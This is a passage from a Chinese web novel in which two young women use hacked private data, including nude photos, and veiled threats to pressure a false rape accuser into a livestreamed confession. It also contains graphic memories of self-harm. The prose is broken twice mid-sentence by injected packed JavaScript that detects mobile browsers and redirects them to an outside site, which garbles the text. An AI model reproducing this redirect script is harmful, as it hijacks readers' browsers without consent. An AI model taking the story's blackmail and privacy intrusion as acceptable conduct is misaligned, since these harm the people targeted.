“我们是来见朋友的。”艾莉冲她点了点头,店员没有起疑心,更没有注意到这两个女孩不同寻常的姿势——一个脸色苍白,肢体僵硬,眼睛滴溜溜地直转,到处张望着,另一个则面无表情,神色冷漠,一只手牢牢地抓在另一个女孩胳膊上,左手则握着自己的手机。“别打什么歪主意,”艾莉低声在唐泽茹耳旁说了一句,“别忘了我能做到什么。” “你到底想干嘛?”唐泽茹也压低了声音,听上去委屈得很,她从离开超市到星巴克的这一路都在试图向艾莉证实她的无辜,“就像我说的,我后来可是什么都没干,事情会闹得这么大,跟我一点关系都没有,我还站出来说我不会提出任何诉讼呢。没有我这句话,艾登恐怕早就被逮捕了。” “闭嘴,等会你就知道我要干嘛了。”艾莉冷哼了一声,一直领着她往星巴克最深处走。这个地点是她精心挑选过的,没有监控摄像头,刚好与其他的座位隔了半堵墙,又有植物遮掩,使得别人既不容易偷听到她们之间的对话,也不容易看见她们几个的脸。为了确保万无一失,早就有人过来抢先占据了这个位置,免得被其他客人坐了。 唐泽茹一瞧见那儿坐着的是谁,就立刻停住了脚步。 “早上好啊,唐泽茹。” 戴着眼镜,好整以暇地坐在座位上忙着写论文的黎疏眠抬起头来,冲她微微一笑。 “我希望你今天在超市里没购买什么需要立刻放进冰箱里的东西,因为我们可能要在这儿聊好一会呢。”她拉开了身旁的椅子,拍了拍,“坐。” 艾莉使劲一推,唐泽茹向前踉跄了几步,才扶着桌子站稳。黎疏眠微微皱了皱眉头,稳住了自己的咖啡杯,“你们两个应该都很清楚,”她抬起头怨恨地瞧着黎疏眠,眼神仿佛要在她的脸上烧出一个洞来,“事到如今,就算我站出来说艾登是无辜的,也没有人愿意相信了。我不知道你们把我带到这里是想干嘛。” “这倒未必,”艾莉一脚踢在唐泽茹身后的那把椅子上,双手在她肩膀上一按,便顺势让她坐下了,“如果你站出来——我的意思是,字面意义上的站出来,在油管上直播说出事实真相,而且得是诚心诚意的,而不是字里行间暗示着‘有人逼迫我这么说的’我认为相信的人会有不少。” “我不会那么做的。”她断然拒绝。看着就像艾莉和黎疏眠提出了天底下最滑稽可笑的要求一样,“我根本没有什么真相要说出来。害得艾登身败名裂的人又不是我,有本事你们去找他的那群小迷妹啊,要不是她们把名字爆出来了,可能艾登这会还留在球队里面呢。” 几分钟以前,让她乖乖下车,一言不发地走进星巴克的威胁是艾莉会把她的银行账户全部清空,但这会——很有可能是因为瞧见了黎疏眠——唐泽茹不知道怎么地气焰又嚣张了起来。 “因为整件强煎案都是你胡编乱造出来,想要污蔑云决明却不幸栽赃在艾登身上的闹剧。”黎疏眠不紧不慢地开口了,在她镇定自若的优雅做派下,唐泽茹登时矮了好几个头。“这场闹剧是由你而起的,那么就应该由你来收拾这个残局。” 艾莉相信,要不是自己从一开始就把她的手机瘫痪了,让她既无法打电话求助,也无法录音,这会的对话恐怕会是完全不同的内容——不过,即便没了手机,现在艾登被赶出球队已经是不可逆转的事实,唐泽茹估计觉得黎疏眠和艾莉根本拿自己没办法。 “什么闹剧?”果然,她一副“我根本不知道你们在说什么”的模样,看起来又委屈又愤慨,“你以为你是谁啊,黎疏眠?你说强煎案没发生,强煎案就没发生吗?再怎么样,你们最多也只能说我在创伤下记错了人,强煎我的另有其人罢了。艾登知道这就是你们两个对待性|侵案受害者的态度吗?同为女性,一上来就说强煎案不存在,你们两个未免也太过分了吧?” “强煎案到底有没有发生,你心里有数,倒是不必这么激动。”黎疏眠慢悠悠地说道,脸上仍然带着让人如沐春风般的微笑,如果有谁此时经过这儿,只会以为她们三个是好友在聚会,“可是,向女性权益博主求助的人,是你没错吧?” “她们误会强煎犯是艾登以后,我向她们当中的一个发了私信说不是艾登,可是她们根本不相信我!” “不拿出自己是‘当事人唐泽茹’的身份证明,含糊其辞地澄清两句,确实很难让人相信呢。”黎疏眠保持着微笑,仿佛在看跳梁小丑的表演,“以你从前在微信群里表现出的对艾登的在意程度来说,我以为你会在误会产生的那一刻就跳出来赌咒发誓说强煎你的人绝对不是艾登呢——噢,对不起,我忘了,以你对强煎犯的模糊描述来说,你根本没有办法肯定他到底是谁,对不对?”。 “那些女性权益博主只想着用这件事情给自己捞热度,我就算证明了我是谁,她们也不会相信的,”唐泽茹梗着脖子,对黎疏眠明明白白提出的质疑置若罔闻,“我只是想为自己的案件讨回公道而已,从头到尾我都没有想过要伤害艾登,我是这个世界上最不可能伤害他的人了,艾登知道这一点,他知道我有多么爱他!” “我相信,”黎疏眠点了点头,“你在小报上报道了艾登就是强煎犯以后仍然保持沉默的行为,一定很让他感动——请问你们两个打算什么时候宣布订婚消息呢?在庆祝他被球队开除,全世界都管他叫‘强煎犯’的庆祝派对上吗?” “我就算站出来也没用,艾登被赶出球队又不是我要求的,”唐泽茹一副自己蒙受了天大的委屈的模样,“那篇#我选择不再沉默的文章又不是我写的,这场运动也不是我发起的,他们硬要把功劳归在我身上,我有什么办法?我可从来没有想过要伤害艾登。”她又再加了一句,说话间瞥了一眼艾莉,“再说了,我怎么知道你们两个来找我是为了艾登好?你们一个是二话不说就把他给甩了的前女友,另一个是巴不得看到他死的妹妹,说不定你们两个只是想趁机借我落井下石而已。” “谁告诉你我巴不得看到艾登去死?”艾莉一挑眉毛,抱着双臂,翘着腿,冷冷地看着她。 “很多人,”唐泽茹露出了高深莫测的表情,似乎想要暗示艾莉她知道许多维尔兰德家的内幕,“我跟很多认识你的人交谈过,”她得意洋洋地说道,“他们都说艾登是你在这个世界上最痛恨的人。” “那你显然就跟那些你打听过消息的人一样,根本不明白兄妹意味着什么。” 艾莉轻声说。 这话没有说错,在很长的一段时间里,她确实痛恨艾登,恨得超过世界上的一切,恨得没有任何道理,恨得就像是她把自己所有的愧疚与悔意都化为了恨意,倾泻在唯一一个能与她分享同一种悲痛的人身上。 爷爷和奶奶失去了儿子,妈妈失去了丈夫,只有艾登和她失去了父亲。 天地之大,人流亿万,唯有她的哥哥能翱翔在她身处的海拔高度,看见她所看见的绝望孤寂,感受她所感受的冰冷刺骨,共同顶住那劈头盖脸袭来的,没有任何一个孩子有能力承受的无边悲痛。然而,即便如此,仍然有个声音盘踞在了艾莉心中长达十年,时时萦绕不去,当她平静地在自己腿上割出一条条血痕时,在她为噩梦所惊醒的时候,在她注视着全家人都为艾登取得的成就而喝彩的时候,那个声音会更加嘹亮—— 如果死去的不是父亲,而是艾登,该有多好? 父亲去世的时候,艾莉才四岁,人们便以此做出决断,认为她肯定什么都不会记得,即便是爷爷请来的那个赫赫有名的心理医生也同样这么认为。“艾莉还小,”当时她从门缝里听见他与爷爷站在走廊上谈话,“你们只要确保生活对她来说一切照常就可以了。等她长大一点再向她介绍死亡这个概念,这个年纪的孩子大脑还没有发育完全,她很难理解死亡这个概念,没必要让她的生活更艰难,现在你们应该把精力集中在艾登身上——他九岁,这是一个很敏感的年龄,如果处理不好,这件事会给他的一生都造成无可挽回的伤害。” 他错了。 她——就仿佛入定的高僧刹那间参悟了佛法般——在听到警察将消息带来的刹那,就已经理解了死亡是什么意思。不是通过那个实际上毫无意义的词汇,而是从妈妈,从爷爷奶奶,从警察的反应,语气,神情,还有肢体动作上参透的,就仿佛对死亡的理解始终埋藏在人类的本能里,她只是提早得到了钥匙,打开了那扇沉重又遥远的大门。 她理解的不止是这一点。 从父亲的葬礼过后,长达十一年里,忠实陪伴着艾莉的是同一个噩梦,不曾迟到,不曾缺席,不曾改变。“你害死了你的父亲,”一个没有脸的男人蹲在她身旁,微笑着说道,他那种愉悦得仿佛正在经历一场持久而激烈的高潮的声音,艾莉永远也忘不了,“如果没有你,没有艾登,你们的父亲便不必死去。” 他粗糙的手拂过艾莉的脖颈,握住她的一撮黑发,细细在指尖摩挲,“是你害死了你的父亲,”他又重复了一遍,笑容狰狞地绽开在没有五官,仿佛是从血红色上透出惨白脸色的面庞,“是你,艾莉,你要好好记住这一点。” 每次她喘着粗气,一身冷汗地从梦中醒来,都能感受到那种肌肤的黏腻触觉,仍然在自己的脖颈处流连不去。 后来,她学会了以痛苦对抗痛苦,以鲜血对抗愧疚,以新鲜的伤口对抗新鲜的黏腻触感,每一场噩梦,对应一道在大腿上的伤疤。宁静在噩梦过后的深夜奏响月光,她坐在床边,身下垫着毛巾,细细的刀片轻易破开柔嫩的肌肤,越疼越好,越深越好,血越多越好,父亲的照片放在床头,无言地注视着这一切发生了数年。 艾莉听奶奶说过还梦的故事,死去的亲人会在梦里再度拜访,为活着的人带去一丝慰藉,证明生死并不能隔绝思念,有些感情的存在能够超越人冥的阻绝。但父亲从来没有在艾莉的梦中显灵,赶走那把愉悦而高亢的声音,跪下来抱住孤独无助的自己——一定是因为,他知道那把声音没有说错,自己的确是害死他的罪魁祸首。艾莉始终这么坚信着。 父亲是在商场的停车场里被发现死亡的。 在车子的后备箱里,警察发现了一辆崭新的儿童自行车,粉红色的车身,白色的小篮子上装点着白色的雏菊,把手上还缀着细长的闪亮流苏,正是那辆他认为还不适合艾莉的年龄,不肯买给她,因而与自己的女儿大吵一架的自行车。他下班以后还要专门绕到商场里去一趟,就是为了这件事——为了满足自己女儿不合理的任性要求。 艾莉觉得全家其实都心照不宣地知道了这点,只是他们为了照顾自己的心情,从来不会提起这一点。 但不可避免地,因为这一点,他们变得更加偏爱艾登——那个完美的,没有害死自己的儿子或丈夫的,而且脆弱敏感的孩子。心理学家建议爷爷确保艾莉的生活一切如常,但他们实际上连这一点都没有做到。有一天下午,艾莉由保姆从日托接回来,她在自己的房间等了又等,始终都没等来妈妈叫自己去吃晚饭。她出门一看,发现妈妈已经疲倦地在艾登房间门口睡着了,爷爷奶奶都不在家,不知道去了哪。 就是在那天晚上,她学会了笨拙地为自己煮面。后来妈妈问起来,艾莉非常自然地说了一句,“是保姆姐姐为我煮的”,就糊弄了过去,妈妈甚至没有想过给保姆打电话确认一番。毕竟,就像Ming说的,没有人猜得到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041246|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个五岁的孩子能给自己做东西吃。 这个世界上,会偏爱她超过艾登的家长,就只有父亲。 如果死去的不是父亲,而是艾登,那么她的生活就完美了。 但是,在怀有这个想法的同时,如果有任何人,任何事,对她的哥哥造成了威胁,甚至是造成了伤害,艾莉会豁出性命,不顾一切地阻止它。 她巴不得艾登死去的同时,却也能毫不犹豫地为艾登而死。 这就是兄妹。 “让我告诉你,接下来会发生什么,”艾莉说,“你回家以后,你会乖乖地打开电脑,告诉大家你要说出强煎案真相,并设定好将要在油管上直播的时间——闭嘴,我还在说话,你父母双全,难道没有一个教过你不要打断别人说话?” 唐泽茹长大了嘴,还没来得及说出口的话僵在嘴边。 “等到了要直播的时候,你会完完整整,原原本本地把你是一个多么虚伪卑鄙的小人嘴脸在屏幕上一一细细揭露。别担心,我给你想了一个好理由,就说你的良心受不了谴责——虽然我觉得你根本没有任何良心——从你最开始是怎么在微信群里为了虚荣心而肆意编造人设开始,说到你是怎么想方设法地混进了艾登的生日派对,再说到你是怎么临时想出了要诬陷云决明的主意,以及后面巴拉巴拉的一堆,你比我对这个故事更熟悉,你很清楚要说些什么。” “我说了!没有人会相信我的!” “在艾登被球队开除以前,你站出来澄清这件事,确实有可能难以令人信服,”这也是为什么她和疏眠没有一开始就威胁唐泽茹的原因,“但现在,艾登的名誉已经一落千丈,身处谷底,情况已经糟得不能再糟了,这时候你受不了良心谴责再站出来,反而更加可信——因为大家都会认为如果这件事是人为操纵的,你应该在艾登被球队踢出去以前就说出‘真相’。没有比现在更好的时机了。而我要最真实的结果——我说真实,指的是你要百分之一百地表现出一个受不了良心谴责而站出来说出真相的女孩应有的模样。相信这对你的演技来说不是什么太大的挑战。” “如果我不照做呢?”唐泽茹讥笑着冲艾莉撇了撇嘴角,“如果你觉得威胁把我银行里的钱都取走就能让我干这种违心的事情,承认我根本没犯过的错——” “噢,我知道那最多就只能让你乖乖走进星巴克,并且乖乖地坐在这里,”艾莉耸了耸肩,“鉴于你的银行里就只有435.67的存款。” “让我给你讲个故事好了,唐泽茹,”黎疏眠适时的插话了,“我希望你明白,艾莉和我,都没有要敲诈勒索你的意思,我们礼貌地请你来这儿聚一聚,主要是希望能唤醒你的良知,让你真正意识到自己的错误——” “礼貌?”唐泽茹声音一下子提高了。艾莉意识到,黎疏眠越是一副岿然不动,平静冷淡的模样,就反而越能激怒唐泽茹,让她脱下那层假意委屈的面具,“这个人瘫痪了我的手机,还威胁要撞毁我的车,清空我的银行账户,你管这叫礼貌,黎疏眠?我随时可以去法庭上告你们!” “告什么?你自己不小心点开了广告短信,导致你的手机死机了?” 黎疏眠的笑容加深了。 “而且,我没记错的话,你那台2014年的MiniCooper似乎并没有植入自动驾驶系统,既然如此,艾莉怎么会威胁要撞毁你的车呢?你确实是自己开来这儿的,没错吧?” “她还拿了枪——” “我想法律没有禁止一个十五岁的小女孩用水枪跟别人开个恶作剧玩笑,难道法官要因为你中计了就惩罚恶作剧的人?更何况,你说艾莉威胁要清空你的银行账户,有什么短信,录音,或者是纸面的证据证明这个威胁是真实存在的?你的银行账户里的钱可曾少了一分?” “她——” “就如同我所说的,警察如果查看超市的监控录像,他们只会看见你是主动地走进车子里,主动放好了购物袋,主动开车前来这间星巴克与我会面的。我相信,在任何警官的眼中,这整个过程不仅合法,而且可以算得上是非常礼貌——现在,我希望你能安安静静地听完我要讲的这个故事,我认为,听完以后,你可能会改变你的想法,也说不定。” “我没有必要坐在这里听你胡说八道——”唐泽茹气急败坏地说道,起身就想走。 “你真的认为没有必要吗?”黎疏眠的语气一下子冷了下去,凌厉的目光牢牢锁定在唐泽茹身上,“你过去造谣生事了多少次,编造了多少与我有关的谎言,你自己很清楚。我从来没有真的跟你计较过,或者采取过什么措施,这可能给了你一种错觉,那就是以为我是个软柿子,任你拿捏。但你根本不知道如果我认真起来,你会有什么下场——我劝你三思而后行,考虑清楚你是不是真的能承受与我和艾莉为敌的后果。” 时间过去了一秒,两秒,红白两色交替在唐泽茹脸上闪现,她捏着椅背的手是那么用力,整张椅子都跟着她的胳膊一起颤抖。艾莉看得出来,她非常想要就这么一走了之,好维持住她之前竭力展示的无辜人设。然而,顶着黎疏眠锋利而具有压迫感的视线,她无论如何也鼓不起这个勇气,她们三个就这么静静地僵持了数分钟——准确来说,只有唐泽茹一个人在僵持,艾莉打着哈欠刷手机,而黎疏眠则悠闲地喝着她的咖啡,只是时不时从杯子上方瞥一眼唐泽茹。 “不管你要说什么,都不可能改变我的想法,”唐泽茹这么说着,但还是乖乖坐了下来,“你不可能逼迫我承认我没做过的事情。” “谁说我们要‘逼迫’你了,”艾莉噗嗤一声笑了,“疏眠只是想给你讲个故事而已。” “那么——” 黎疏眠放下杯子,清了清嗓子。 70. Chapter·Seventeen “从前呢,有这么一个女孩。 “她来自国内一个说出名字没有多少人知道的三线城市,她的父母是从农村里靠着自己努力奋斗到城市里的人,都很勤劳,肯干,奋斗了大半辈子,攒下了一些房产,就是盼望着自己唯一的独生女儿不要再经历一遍自己吃的苦头。从小到大,他们对自己的女儿有求必应,等到她上高中的时候,更是咬牙把她送去了省会城市里的私立高中就读。每个周末,这个女孩的父亲都会开上上百公里的车,给自己女儿送零食,送衣服,送自家做的好吃的,甚至是任何她想要的东西。” 唐泽茹的脸色变了。 “不过,省会城市的繁华,终究不是一个三线城市能比的。女孩在私立高中接触到的人,与她初中时的同学完全不同。这些人更有见识,更有阅历,家境更好,吃的喝的玩的都不是女孩能比得上的。偏偏女孩是个从小就很有优越感的人,她的家境,父母的宠爱,还有她本身也算出众的长相外表,让她从小就在朋友当中鹤立鸡群,向来都是人人称羡的对象。然而,到了高中以后,白天鹅却一夜之间沦落为丑小鸭,别说那些整天捧着她,跟在她屁股后面以她马首是瞻的小跟班没了,女孩甚至连个交心的朋友都无法拥有——那些家境比她好,长得比她漂亮的女孩不屑于跟她做朋友。而其他那些真心想来这所私立高中学习,脚踏实地努力的学生,又反而被女孩所瞧不起,认为她们无趣又无聊。” 唐泽茹有一个隐藏得非常深的微博号,没有关注任何人,也没有任何粉丝,艾莉还是通过她家网络的ip地址定位到的。这个微博号里记录了高中三年唐泽茹产生的所有阴暗的,负面的,甚至称得上是恶毒的想法。把她在那所私立高中就读的几年里的愤懑,不快,妒忌,失衡展露无疑。艾莉只通过翻译软件看了几条,就看不下去了。黎疏眠倒是一条一条认认真真地看完了。 “虽然女孩的爸爸妈妈会尽力满足女孩的一切需求,但有些东西——比如说化妆品,香水性感的衣物,高跟鞋,奢侈品——他们是万万不会给自己才高中的女儿买的,其他的要求,诸如染头发,种睫毛,垫鼻子,抽脂减肥等等,从农村长大,思想传统的他们也不同意让自己的女儿去做。但察觉到了女儿在这方面的心思以后,女孩的父母在女孩考上大学以后,便非常小心地掌控着给她的零花钱,要求她上报每一笔支出,以防她悄悄攒钱去做这些父母严令禁止的事情。” “够了,”像是知道黎疏眠接下来要说什么,唐泽茹猛地拍了一下桌子,“我回去会自己站出来发一条微博,说艾登是无辜的,这样你们满意了吗?够了吗?你们还想要怎么样!” “我们只是想把故事说完而已,”艾莉笑了起来,“不用那么激动,还拍桌子发脾气的,不就是个故事嘛,不要那么认真。还是说,你认识故事里的这个女孩吗?” 唐泽茹一言不发地收回了手,她的鼻尖上沁出了颗颗汗水,呼吸也急促了起来。 “从父母那里要不到钱,女孩就把心思打到了愿意为女朋友花钱的男孩身上。她一直知道自己长得挺不错的,只要稍稍花点心思,就能为自己找到心甘情愿送钱的男孩。” 黎疏眠又继续用轻柔缓和的声音说了下去。撇开故事内容不说,听起来倒是挺赏心悦目的。 “不过,都是刚上大学的男孩,谁都是靠家里给的钱过日子的,即便能从牙缝里挤出一些,对于女孩无穷无尽的欲望来说,也不过是九牛一毛。就在这个时候,女孩注意到了学校里发放的广告,上面说只要有身份证抵押,那么十万块钱就能够轻轻松松地到手里,而且还款期限很长,可以先还利息,一年以后再还本金。 “女孩心动了。 “但她很警惕,知道天底下多半没有掉馅饼的事情,要是还不上,肯定身份证就拿不回来了,搞不好还会连累自己的父母。于是,她从隔壁寝室一个与自己长得有几分相似的女孩那儿,偷走了她的身份证,拿去抵押,扣除完各种各样的手续费和利息以后,借债十万,女孩只拿到了八万。” 唐泽茹不可控制地发起抖来。 偷走身份证这件事,唐泽茹没有发上任何社交媒体,但是艾莉通过搜索与她同一个网络ip地址发出的微博,找到了当事人抱怨自己身份证消失了的内容,当然还有后续唐泽茹利用这张身份证借贷以后导致的一系列后果。恰好,当时唐泽茹的银行卡账户里突然多了八万块钱,艾莉并不知道有校园贷这回事,是黎疏眠把这两件事联系在了一起,解开了谜团。 “有了这八万块钱,女孩就觉得自己可以翻身做凤凰了。她花了两万块钱在一个医美诊所里做了垫鼻和削下巴,也算她运气好,那个医疗事故频发的诊所竟然还成功了那么一回。剩下的六万块钱,都被女孩用于购买各种各样的高仿奢侈品,化妆品,衣物,香水,包包。她认为这么一包装下来,自己想要泡到有钱的小开简直是分分钟的事情,那十万块钱也可以由对方帮自己偿还,如意算盘简直打得啪啪响。 “但是,很可惜的是,女孩在学校里倒是没有找到什么非常有钱的富家公子哥,毕竟大学很大,漫无目的地四处撒网只能是浪费时间。于是,女孩盯上了自己曾经的私立高中同学。 “然而,即便有了这八万块钱的包装,对方还是没有看上女孩。他给出的拒绝理由是自己以后要出国移民,不能找一个家境显然负担不起与自己共进退的女孩——这件事给女孩的打击很大,也在她心里种下了一枚蠢蠢欲动的种子。 “接下来的半年里,发生了好几件事,让这颗种子彻底发芽了。 “首先,是女孩发现,她有一个远方的表哥早年移民去了美国,他回国探亲时也来了一趟女孩家,当女孩旁敲侧击地问起去美国上学的事时,这位远方表哥表示他愿意为女孩提供签证需要的资金担保,以及帮女孩联系学校,因为他当年出国做生意的时候曾经受过女孩父母的恩惠。 “其次,是女孩发现十万块钱的借债利滚利,六个月后每个月要偿还的利息已经远远超过她的想象,她因为到处借钱,迟还了一两天,对方就开始疯狂骚扰身份证的真正主人,结果对方因此报了警。女孩担心警察会发现自己偷身份证借钱的事,便在迫不得已之下借了另外一笔贷款去偿还之前的这笔贷款,好摆平此事。但这另外一笔贷款是有代价的,因为数额比之前的更高,对方要求她拍摄裸体手持身份证的照片,作为防止逾期不还的‘抵押’。 “最后,是女孩为了还钱四处拼命借钱的事情在她高中同学圈子里传开了。很多人猜测她这么做是因为她急需钱来做人流,这彻底败坏了她在高中同学中的形象,连带着这件事也在当地的富二代圈子里传开了,使得她想在国内找个有钱人摆平贷款,并和对方结婚过上阔太太的日子的愿望,破灭了。” “你可以猜猜看那些照片现在在谁的手里,”艾莉像云决明转笔一样旋转着自己的手机,这一招是她跟着他学的,艾登就怎么也学不会,“没有那些照片,我都不知道原来腰上也可以长一颗痣呢。” 唐泽茹剧烈地一抖,差点打翻黎疏眠的咖啡,“我不知道你在说什么。”她语无伦次地说道,“我为什么要猜这些照片在哪?关我什么事?” “只是想增添一点故事的乐趣罢了,”艾莉耸耸肩,“你不想猜也没关系。疏眠,请你继续说吧。” “发生的这三件事,促使女孩下定决心,摆脱自己在国内的生活,去国外从头再来。” 黎疏眠又接着开口了。其实,艾莉和她都无从知晓到底是不是这几件事使得唐泽茹决定出国,她们两个只是做了一个大胆的猜测,但从唐泽茹此刻快要昏过去的神色来看,她们还是猜的很准的。 “于是,女孩说服自己的父母给自己改了名字——甚至连姓氏也一起改了,改为跟母亲姓。要不是女孩的父母在那个三线小城市里还有一点关系可以利用,这倒不是一件容易的事情。之后,女孩联系上了自己的远方表哥,告诉对方自己现在就想要出国,表哥便给她推荐了一所只要申请并付得起学费,就能上的野鸡艺术学院,告诉她可以先过来念两年,两年之后再转到正规的大学就读。女孩的父母本来不同意女孩出国读书,但是女孩以死相逼,爱女心切的二老最后不得不妥协。 “几个月后,改名换姓,彻底从社交媒体上抹去与自己过去有关的一切的女孩,赶在追债的找到自己以前,踏上了前往美国的飞机。她不知道,也不关心那个被自己偷了身份证的人差点被追债的逼到自杀明志,用尽了一切办法来证明自己不是借债人,几乎家破人亡。她既不过问,也不在乎自己家怎么出得起艺术学院天价般的学费,不知道家里原本用于养老的房产都为此卖掉。她关心的,只有自己即将开始的新生活。” 国内那些迷恋艾登的女孩只能找得到唐泽茹在美国时的黑历史,却完全找不到她在国内大学及高中时的经历,就是因为唐泽茹本名詹妤敏,所有的过去都只与那个被她抛弃的名字有关。如果没有艾莉直接锁定ip的搜查技术,几乎没有办法将詹妤敏与唐泽茹联系起来。 “这个女孩去了美国以后的生活挺俗套的,要是再展开聊聊,你可能就腻了。”黎疏眠手指轻轻拂过咖啡边边缘,她修剪干净的指甲与唐泽茹被撕得坑坑洼洼的美甲形成了鲜明对比,“不过值得一说的是,这个女孩开展了一个非常成功的假包代购业务——老实说,我只是一个学刑法的本科生。但我也知道这算是欺诈罪,不知道这个女孩涉嫌欺诈的奢侈品金额有多少呢?如果情节严重的话,就不是罚款那么简单了,甚至有可能要坐牢噢。” 那些扒出了唐泽茹退假包的国内网友的确尝试过写信给奢侈品牌揭发这件事,但是因为他们没有唐泽茹的信用卡号,仅凭姓名奢侈品牌无法在浩瀚如云的订单中准确找到唐泽茹退回的那数十单。然而,现在有了艾莉,情形就完全不同了。 “我对中国的法律也一窍不通,”艾莉说,冷冷地瞪着不知何时已经满脸是泪的唐泽茹,“但我想盗窃身份证进行借贷,这不管在哪个国家都是违法的吧。” “没错,”黎疏眠说,笑容礼貌又亲切,“尤其考虑到她盗窃身份证的行为给当事人带来非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041247|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惨痛的后果,在必须偿还贷款之余,可能面临着十万到三十万的赔偿,罚金还要另算,甚至可能会被判有期徒刑好几个月——甚至一年以上,也是有可能的。毕竟在这一点上,我国《刑法》规定的是五年以下,具体几年,还是要看法官怎么看待这个案件了。” 唐泽茹看起来随时都要痛哭流涕,她喉咙还没开始发出歇斯底里叫喊的唯一原因多半是因为她还沉浸在震惊中不可自拔,不敢相信她藏得最深,从来不敢提起一句的黑暗秘密就这样被艾莉挖掘了出来——不过,单凭艾莉一个人的能力,还没有办法在短短几天内就收集到这么多消息,艾莉是拿出了自己早年挖比特币所得的积蓄中的一半,在黑客内部的联络网站上发布了悬赏,集合了全球好几个顶尖黑客的能力,才成功收集到了这么多资料——甚至还从高利贷的加密相册中,想方设法地把唐泽茹的照片黑了出来。 “不知道这个故事有没有改变你的想法,唐泽茹?”艾莉欺近了一点,近乎是享受地看着她此刻千变万化的脸色,几乎人类所有用来描绘痛苦,震惊,羞愧,耻辱,愤怒,恐惧,悔恨,茫然,慌乱的词汇都可以套用在她身上,她嘴唇颤抖着,仿佛在自言自语,然而凑近听却听不见任何声音,她眼睛瞪得大大的,好似全然忘记了眨眼这回事,眼泪如瀑布般洗刷而下,好像也把她对任何言语的反应冲洗干净,她木然地与艾莉对视了半晌,看着像根本不明白对方在说什么。 艾莉靠回了椅子上,“怎么办?”她用西班牙语询问着黎疏眠,她从奶奶那里学来的西班牙语皮毛勉强能跟同样也只上了两个学期西班牙语的黎疏眠进行一点简单的交流,这是为了防止唐泽茹听懂她们在说什么。 “等等。”黎疏眠一点也不急,她重新又打开了自己的笔记本电脑,继续着那篇因为唐泽茹到来而打断了写作的论文。 “好吧。”艾莉说,从书包里掏出了自己的平板,开始津津有味地看起了油管视频,就在她被一个电影恶搞视频逗得小声地咯咯笑了起来的时候,唐泽茹突然上线了。 “是不是……”她的嗓音嘶哑得如同九旬老妪,双眼无神,似乎一辈子的眼泪都在这一刻流干了,“是不是……如果我开了直播,你们就不会揭发我?” 艾莉和黎疏眠交换了一个眼神。 “那只是一个故事而已,”艾莉耸了耸肩,“我们从来没说过要揭发任何人。” “如果你要开直播,讲出你所有干过的龌龊事——我的意思是,原原本本,毫无保留地讲出一切,并且对那些真心实意相信你,为你奔走求助的人道歉。”黎疏眠从她的笔记本电脑上抬起头来,“那也是因为你受不了自己良心的谴责,跟我们两个有什么关系呢?” “我需要一个保证,”唐泽茹坚持道,“我需要一个只要我开了直播你们就会保密的保证。我绝对不能让我的父母知道这些事情——我的爸爸,他有心脏病,他身体不好,他——” “我不会给你任何保证,就像我也不会逼迫你给我一个绝对会直播的保证。”艾莉打断了她的话,“你自己看着办。” “那如果我根本不直播呢?你们就要向警察举报我?好把我抓起来,你觉得那样就能证明艾登的清白吗?”唐泽茹试图绝地反击,“给我一个保证。我只要你一句话,我马上就回家准备直播的事情。说,说只要我直播把一切讲出来,你们两个就绝对不会把这些事情告诉任何人!说!说啊!就说这么一句!” 她的声音到最后陡然拔高,吸引了不少人的注意力。黎疏眠合上了自己的电脑,微微笑着一一安抚那些被惊动的目光,最后再落在唐泽茹身上。 “那就只是一个故事而已,没必要这么激动。” “那你永远也得不到你想要的,我不会直播的,我绝对不会直播的,反正你都会揭发我的所作所为,我为什么还要帮你?”唐泽茹语无伦次地说道,站了起身,“我不会直播的,你听到了吗?没有你的保证,我绝对不会直播的,绝对不会!你们两个以为你们可以一辈子这么高高在上吗?你们以为你们的秘密就能一直安全地藏在黑暗中吗?你的所作所为侵犯了我的隐私,你们两个都是!如果我要去坐牢,你们两个也都要跟我一起陪葬!我向你发誓!侵犯隐私也是重罪!你们听到了吗?” “那就祝你好运了,詹妤敏,希望你能找到证明我们侵犯了你隐私的证据。”黎疏眠抬眼,轻笑了一声。这个遥远又熟悉的名字就像一记重锤一样砸在唐泽茹身上,让她晃了一晃,几乎没法站稳身子。随即,她就抓起自己的包,几乎是头也不回地冲出了星巴克。一分钟后,那辆MiniCooper就尖啸着,慌不择路地亡命而去了。 “她会开直播的。”望着那辆车摇摇晃晃地开上公路的背影,艾莉说,“前提是如果她能活着回到家的话。” “是的,她会开的。”黎疏眠又打开了她的电脑,若无其事地继续写着她的论文,“这点是毋庸置疑的——以及,不管她之后打算躲到哪儿,只要她一回国,或者继续待在美国,她都会被逮捕的,这一点,也是毋庸置疑的。” 71. Chapter·Eighteen 今天是十月的最后一天,万圣节。 艾登除了圣诞节以外最喜欢的节日。 被球队开除了以后,艾登索性把精力都放在迎接这个节日上。从20号到今天,除了打开电脑上网课以外,艾登隔绝了网络,也隔绝了一切不必要的社交,他没有去搜索网络上对于他的开除会有什么样的反应,也不在乎从今往后人们会如何看待他。没了橄榄球队四分卫的光环,没了ADP兄弟会成员的身份,艾登就只是艾登,一个寻常平凡的美国大学生,一个默默无闻的无名小卒——他如今觉得这个身份更适合自己,也更能让自己开心。 他的生活突然一下变得前所未有的简单起来。 